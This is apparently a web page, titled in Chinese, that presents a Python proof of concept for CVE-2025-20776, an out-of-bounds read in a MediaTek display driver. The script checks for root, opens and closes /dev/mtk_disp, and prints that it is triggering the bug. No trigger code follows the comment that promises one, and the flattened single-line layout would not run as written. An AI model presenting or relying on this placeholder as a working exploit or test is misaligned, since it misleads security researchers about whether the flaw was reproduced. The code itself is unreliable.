MediaTek显示组件越界读取漏洞 (CVE-2025-20776)

# CVE-2025-20776 MediaTek Display Component Out of Bounds Read PoC # This PoC demonstrates the vulnerability trigger mechanism # Note: Actual exploitation requires System/ROOT privileges import os import sys import ctypes def trigger_display_vulnerability(): """ Simulate triggering the out of bounds read in MediaTek display driver This requires: 1. Root/System privileges 2. Access to /dev/ion or similar display memory interfaces 3. Specific display buffer manipulation """ try: # Check for root privileges (required for exploitation) if os.geteuid() != 0: print("[!] Root privileges required for exploitation") return False print("[*] CVE-2025-20776 MediaTek Display OOB Read Trigger") print("[*] Patch ID: ALPS10184297 | Issue ID: MSV-4759") # Attempt to access display driver interface # In real scenario, this would interact with: # - /dev/mtk_disp or similar device nodes # - ION memory allocator for display buffers # - Mali GPU or PowerVR GPU driver interfaces display_device = "/dev/mtk_disp" if os.path.exists(display_device): print(f"[+] Found display device: {display_device}") # Open and manipulate display buffer fd = os.open(display_device, os.O_RDWR) if fd >= 0: # Trigger OOB read by manipulating buffer size parameters # This would cause the driver to read beyond allocated memory print("[+] Display device opened successfully") print("[*] Attempting to trigger OOB read condition...") os.close(fd) else: print(f"[-] Display device not found: {display_device}") print("[*] This vulnerability affects MediaTek devices with") print(" unpatched display drivers") return True except PermissionError: print("[!] Permission denied - System privileges required") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-20776 MediaTek Display Component OOB Read") print("CVSS: 6.7 (Medium) | AV:L/PR:H/UI:N/S:U/C:H/I:H/A:H") print("=" * 60) trigger_display_vulnerability()